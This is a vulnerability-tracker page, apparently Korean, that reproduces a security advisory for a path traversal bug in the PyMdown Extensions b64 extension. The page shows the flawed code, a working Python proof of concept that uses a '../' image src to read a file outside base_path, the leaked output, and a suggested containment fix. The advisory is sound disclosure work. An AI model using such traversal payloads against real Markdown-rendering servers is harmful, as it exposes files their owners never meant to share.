Kestrel
대시보드로 돌아가기
CVE-2026-61632MEDIUM· 5.3GHSA대응게시일: 2026. 07. 24.수정일: 2026. 07. 24.

PyMdown Extensions: Path traversal in the b64 extension lets <img src> read files outside base_path

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.15.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

상세 설명

Summary

The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.

Details

In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):

bash
1if is_absolute:
2 file_name = os.path.normpath(path) # absolute src: base_path ignored entirely
3else:
4 file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
5if os.path.exists(file_name):
6 ext = os.path.splitext(file_name)[1].lower()
7 for b64_ext in file_types:
8 if ext in b64_ext:
9 with open(file_name, "rb") as f: # opened with no containment check
10 ...

There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.

PoC

Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.

python
1import base64, os, shutil, tempfile, markdown
2
3root = tempfile.mkdtemp()
4base_path = os.path.join(root, "docs"); os.makedirs(base_path)
5outside = os.path.join(root, "secret"); os.makedirs(outside)
6
7png = base64.b64decode(
8 "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
9 "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
10)
11with open(os.path.join(outside, "secret.png"), "wb") as f:
12 f.write(png)
13
14md = markdown.Markdown(
15 extensions=["pymdownx.b64"],
16 extension_configs={"pymdownx.b64": {"base_path": base_path}},
17)
18html = md.convert('<img src="../secret/secret.png">')
19
20assert base64.b64encode(png).decode() in html, "not leaked"
21print("LEAKED:", html)

Output:

text
1LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>

The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.

Impact

An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

Suggested fix

Resolve the real path and require it to stay within base_path before opening:

bash
1file_name = os.path.realpath(os.path.join(base_path, path))
2base_real = os.path.realpath(base_path)
3if file_name != base_real and not file_name.startswith(base_real + os.sep):
4 return m.group(0) # leave the tag untouched; do not read outside base_path

The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.